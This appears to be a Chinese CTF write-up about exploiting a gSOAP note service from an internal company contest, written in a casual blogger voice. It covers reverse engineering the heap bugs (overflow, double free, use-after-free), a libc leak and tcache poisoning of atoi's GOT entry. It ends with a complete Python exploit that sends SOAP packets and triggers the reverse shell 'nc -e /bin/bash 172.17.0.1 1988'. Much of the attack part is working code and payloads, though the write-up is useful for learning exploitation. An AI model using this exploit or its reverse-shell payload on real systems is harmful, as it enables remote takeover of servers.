遇到不会的题要一步步分析(和请教大佬)
拿到题目,没见过的船新题型
公司内部比赛试题
一拿到题目,发现压缩包并不简单,怎么还有个奇怪的东西混进来了。于是解压之后直接打开这个奇怪的东西,发现并看不懂:
什么鬼东西花里胡哨的,先看看程序吧,执行程序先看一下:
好像什么都没发生,但也没有结束,结合刚刚的xml有一种不想的预感,这尼玛不会是个web吧…果然,回看一下题目的描述,找到对应端口访问,是一个web无疑:
传统方法简单分析并不能解决
内容就是刚刚看到的xml,一模一样。查看安全策略发现没开PIE:
然后逆向分析这个程序,发现是一个c++的程序:
整个main函数挺简单,就是起一个soap服务,先初始化,然后run,run中有异常就退出。继续寻找发现了个奇怪的地方:
好像标准的堆漏洞的方式啊!进去查看发现new可以溢出,没有校验输入内容的长度是否大于申请长度便直接拷贝:
大概意思是先申请一个0x18的堆块用来存放这个节点的信息,然后再申请一个不固定的大小的堆块来存放用户输入的数据,0x18的结构体内容分别是申请堆块的大小,堆块中存放内容的大小,堆块指针。然后并没有做任何的长度校验便直接拷贝,存在堆溢出。
编辑函数中有一个长度校验:
需要修改的长度要不大于原本内容的长度才可以修改成功。
然后是删除功能,同样没有任何校验:
只要存在这个节点就可以删除,先将堆块free,然后将结构体堆块free,free之后也没有置null操作,存在double free,uaf等漏洞。
那现在的问题就是如何执行到这,向上找调用关系找没两个函数就找不动了,最后追溯到Service::handleCommand这个函数,不知道谁调用了它,怀疑是间接调用。从头开始顺序读发现Service::run里长这样:
询问大腿
wdnmd,全是间接调用我找个鬼啊,仿佛陷入了困境,xml看不懂,soap没接触过,漏洞找不到执行路径,这个时候应该怎么办???
超神告诉我,你为什么不问问神奇的github呢?
github找到部分源码思路突破
github搜索gsoap,第一个答案直接下载:https://github.com/stoneyrh/gSOAP,找到了我想要的东西:
和反汇编的很像有木有!
可能有细微差别,但也无伤大雅,只要知道这里调用了啥就好,为了保险起见,我在gdb里动态调试跟了一下run这个函数究竟调用了啥,发现虽然有些细小的区别,但大体和我找的这个代码是调用的同一批东西(感谢这个代码保留了符号,没开PIE,让我可以很方便的调试,要是剥离符号我就掀桌子了):
b Service::run
b *(0x404488) //第一次简介调用 call rax的地方
x /10i $rax //查看rax是什么妖魔鬼怪
用这个方法可以把这些简介调用都看一遍,基本和源码中的差不多,也就函数名有些出入或者逻辑关系前后顺序有些颠倒,但并不影响,虽然方法很麻烦(而且很笨),但至少比较稳妥(谁让我菜)。
然后对照着Service::run的源码继续跟,堆每个函数都用名字去二进制文件里搜,看有没有什么不同,大部分没什么问题,而且逻辑上都是些没有用的东西,直到我找到了serve()函数下的dispatch():
对比一下反汇编的dispatch,是不是有内味了:
新工具完成逻辑交互
显然这是通往漏洞利用的一把钥匙,那么问题来了,怎么执行到这,即使我有gsoap的源码,即使我找到了漏洞的代码。我对gsoap报文格式一无所知…那么这个时候超神给我了这么个插件:wizdler,可以把soap那个xml转换成对应的报文格式!!wdnmd还有这么好用的工具!!:
转换之后变成了:
超神是真的屌!!!,然后用构造好的报文发一下:
除了一些奇怪的问题,但确实有内意思了!
看一下究竟什么问题,根据逆向结果发现很有可能是命名空间的问题:
不太懂gsoap的语法,也不知道怎么设置命名空间,但聪明的我灵机一动,把返回包里的xml复制粘贴出来,在body下面添加ns:handleCommand标签:
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns="urn:note">
<SOAP-ENV:Body>
<ns:handleCommand xmlns="http://localhost:33263/note.wsdl">
<commandXml>[string]</commandXml>
</ns:handleCommand>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
然后再发送一下,有内味了,返回的东西像模像样的:
把里面的东西解码之后,可能是没带任何消息,解析有点问题的结果:
程序逻辑
回头查看解析的逻辑,Service::handleCommand函数。
在array内部的继续解析调用了一个叫做parseArray的函数,进入查看:
比较长,内容大体是逻辑就是:
- 遇到magic标签就返回
- 首先检查number标签,代表的是一个array里除了number之外还有几个标签,代表命令和参数,根据执行命令不同参数数量不同(new和edit三个,show和delete两个)
- 然后是一个simpleString标签,里面是一个content标签,内容就是要执行的命令(new,delete,edit,show)
- 然后是一个integer标签,根据执行命令的不同有不同的含义
- new命令代表申请堆块的大小
- delete,edit,show命令代表要删除、编辑、显示的堆块号
- 如果执行的是new和edit命令,接下来还会有bulkString标签,里面有一个number标签和content标签,其中content标签是想要向堆块中写入的内容的base64编码(写入之前会解码),number标签是base64编码的长度,必须严格匹配,不一样会执行失败。
然后这个解析是通过for循环持续解析一直到xml的末尾,也就是说可以在一个数据包中使用多个array标签来执行多个命令:
继续详细阅读发现并不简单:
每次接收到数据包中的xml时都会申请一个0xf0的空间,用来生成一个临时的NoteBook,本次数据包中的所有命令都会在这个NoteBook中完成,由于是临时变量,也就是说下一次(数据包)操作的时候肯定找不到上次申请的堆块的。然后再这个NoteBook中存放的是一个个的堆块的索引,索引结构体的结构之前分析过了,总的来说是这个样子:
既然如此,可以通过构造一个报文来验证一下猜想,先申请一个20字节的节点,输入’aaaaaaaaaa’(base64编码方式送过去),然后show输出:
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" mlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns="urn:note">
<SOAP-ENV:Body>
<ns:handleCommand xmls="http://localhost:33263/note.wsdl">
<commandXml>
<commandSeq>
<array>
<number>3</number>
<simpleString>
<content>new</content>
</simpleString>
<integer>
<content>20</content>
</integer>
<bulkString>
<number>16</number>
<content>YWFhYWFhYWFhYQ==</content>
</bulkString>
</array>
<array>
<number>2</number>
<simpleString>
<content>show</content>
</simpleString>
<integer>
<content>0</content>
</integer>
</array>
</commandSeq>
</commandXml>
</ns:handleCommand>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
然后发送数据包:
对结果进行base64解码:
再解码正好是输入的内容:
利用思路
那么至此就可以开始考虑利用了,由于程序没有开启PIE,那么我们只需泄露libc的地址便可,本题目使用的是libc-2.27那么有了tcache,泄露libc的方法有很多,这里我采用的方法是通过申请一个大的堆块(0x500),然后释放,使其被链入largebins,然后通过show输出查看指针域的指向main arena的指针,便可以得到libc的地址。首先我们要通过调试得到0x500的large bins指针在libc中偏移多少,通过对show前的位置下断点的方式来查看(程序没开启PIE,直接断):
然后发送数据包:
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" mlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns="urn:note">
<SOAP-ENV:Body>
<ns:handleCommand xmls="http://localhost:33263/note.wsdl">
<commandXml>
<commandSeq>
<array>
<number>3</number>
<simpleString>
<content>new</content>
</simpleString>
<integer>
<content>1280</content>
</integer>
<bulkString>
<number>1708</number>
<content>YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWE=</content>
</bulkString>
</array>
<array>
<number>2</number>
<simpleString>
<content>delete</content>
</simpleString>
<integer>
<content>0</content>
</integer>
</array>
<array>
<number>2</number>
<simpleString>
<content>show</content>
</simpleString>
<integer>
<content>0</content>
</integer>
</array>
</commandSeq>
</commandXml>
</ns:handleCommand>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
这里发现和预期有了点出入,通过后面的一堆0x61确定这就是我们申请的largebins,但堆块大小并不是我们申请的0x500,造成这个的原因是因为,程序中并不只是我们在操作堆空间,还有base64编解码,xml解析等也在操作堆空间。导致释放这个大块的时候可能和其他块造成了合并,但这并不影响,因为通过多次调试我们发现,每次都是一样的0x6c0。然后这个堆块中的指针(0x00007f9c4b316140)减掉这时libc的装载地址(0x7f9c4af2a000)就得到了偏移量(0x3EC140)。只要对返回的内容进行两次base64解码便可得到指针值:
接下来要思考如何利用,虽然操作堆的函数漏洞百出但由于程序逻辑导致能利用的方法并不是很多。由于在我们操作堆块之间还会有其他base64编解码、xml解析等函数也操作堆块,那么导致溢出类的无法利用,会造成程序提前崩溃,换句话说我们无法对堆块连续控制,也无法对堆布局,相关的利用方法入unlink都无法利用。
由于libc-2.27引入了tcache,我最开始的想法是通过申请两个tcache堆块0和1,然后依次释放0,1,0来形成循环单链表来达成任意地址写,但一直调试失败,最后发现是因为释放的时候不止是释放我们申请的空间,同样会释放索引堆块,也就是说会形成两个循环链表,一个是0x20的索引堆块的循环链表,一个是我们的,而在base64编解码的时候有可能就申请了0x20的堆块造成了提前崩溃:
正当我想其他方法的时候超神做完了…超神给出的方法是,先申请一个其他函数中用不到的大小的tcache堆块,然后对其进行修改,然后再申请两次来达到任意地址写的目的。但这里需要注意的一点就是,在释放的时候还会释放索引堆块,编辑堆块会校验修改的内容的长度不能大于原文长度:
而索引中原文长度的域和索引释放后next指针域是重合的,也就是说,释放一个堆块之后,指针域是0,那么代表原文长度也是0,这时候无论如何修改都会失败,所以要申请两个堆块,然后都释放掉,这时最后释放的堆块的指针域就会指向第一次释放的堆块,就相当于有了长度,可以绕过size的检验了:
还面临一个问题就是修改什么,一般堆利用的题目都是修改got表或者malloc、free的hook,但由于本题有base64等其他操作堆空间的函数存在,无法修改malloc、free的hook和malloc和free的got表,超神选择的是修改atoi的got表(牛逼),因为在parseArray函数中解析标签的时候解析number标签后会调用atoi函数将字符串转为数字:
也就是说,在修改atoi的got表为system后立刻在下一个array中的number标签中加入要执行的反弹shell的shellcode,就可以执行成功。但这里反弹shell的命令不能使用带>的,会被解析成xml的一部分而解析失败。所以要是用nc反弹:
nc -e /bin/bash 172.17.0.1 1988
然后将以上思路写成exp,由于程序没有开启PIE,所以atoi的地址的base64就选择硬编码了:
import base64
from pwn import *
import requests
elf=ELF('./gsoapNote')
libc=ELF('./libc-2.27.so')
system_addr=libc.symbols['system']
#申请两个0x500的堆块,然后分别释放,输出最后一个释放的堆块
data="""
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" mlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns="urn:note">
<SOAP-ENV:Body>
<ns:handleCommand xmls="http://localhost:33263/note.wsdl">
<commandXml>
<commandSeq>
<array>
<number>3</number>
<simpleString>
<content>new</content>
</simpleString>
<integer>
<content>1280</content>
</integer>
<bulkString>
<number>1708</number>
<content>YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWE=</content>
</bulkString>
</array>
<array>
<number>2</number>
<simpleString>
<content>delete</content>
</simpleString>
<integer>
<content>0</content>
</integer>
</array>
<array>
<number>2</number>
<simpleString>
<content>show</content>
</simpleString>
<integer>
<content>0</content>
</integer>
</array>
</commandSeq>
</commandXml>
</ns:handleCommand>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
"""
r = requests.post('http://192.168.159.5:23333/', data=data)
#两次base64解码得到main arena的地址,计算得到libc_base
msg=base64.b64decode(r.text[411:-74])
msg=msg[5:-32]
libc_base=u64(base64.b64decode(msg)[:8])-0x3EC140
print '[+]libc_base:',hex(libc_base)
system_addr=p64(libc_base+system_addr)
print '[+]system:',base64.b64encode(system_addr)
#先申请两个0x60的堆块,然后分别释放
#之后编辑最后一个释放的堆块,将其next指针改为atoi的got表
#然后申请两次,第二次申请输入的内容为要修改的system地址
#然后加一个number为shellcode的array操作
data="""
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" mlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns="urn:note">
<SOAP-ENV:Body>
<ns:handleCommand xmls="http://localhost:33263/note.wsdl">
<commandXml>
<commandSeq>
<array>
<number>3</number>
<simpleString>
<content>new</content>
</simpleString>
<integer>
<content>96</content>
</integer>
<bulkString>
<number>108</number>
<content>YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWE=</content>
</bulkString>
</array>
<array>
<number>3</number>
<simpleString>
<content>new</content>
</simpleString>
<integer>
<content>96</content>
</integer>
<bulkString>
<number>108</number>
<content>YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWE=</content>
</bulkString>
</array>
<array>
<number>2</number>
<simpleString>
<content>delete</content>
</simpleString>
<integer>
<content>0</content>
</integer>
</array>
<array>
<number>2</number>
<simpleString>
<content>delete</content>
</simpleString>
<integer>
<content>1</content>
</integer>
</array>
<array>
<number>3</number>
<simpleString>
<content>edit</content>
</simpleString>
<integer>
<content>1</content>
</integer>
<bulkString>
<number>12</number>
<content>uHJjAAAAAAA=</content>
</bulkString>
</array>
<array>
<number>3</number>
<simpleString>
<content>new</content>
</simpleString>
<integer>
<content>96</content>
</integer>
<bulkString>
<number>108</number>
<content>YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWE=</content>
</bulkString>
</array>
<array>
<number>3</number>
<simpleString>
<content>new</content>
</simpleString>
<integer>
<content>96</content>
</integer>
<bulkString>
<number>12</number>
<content>{}</content>
</bulkString>
</array>
<array>
<number>nc -e /bin/bash 172.17.0.1 1988</number>
<simpleString>
<content>delete</content>
</simpleString>
<integer>
<content>0</content>
</integer>
</array>
</commandSeq>
</commandXml>
</ns:handleCommand>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
""".format(base64.b64encode(system_addr))
print data
r = requests.post('http://192.168.159.5:23333/', data=data)
然后nc监听,反弹成功: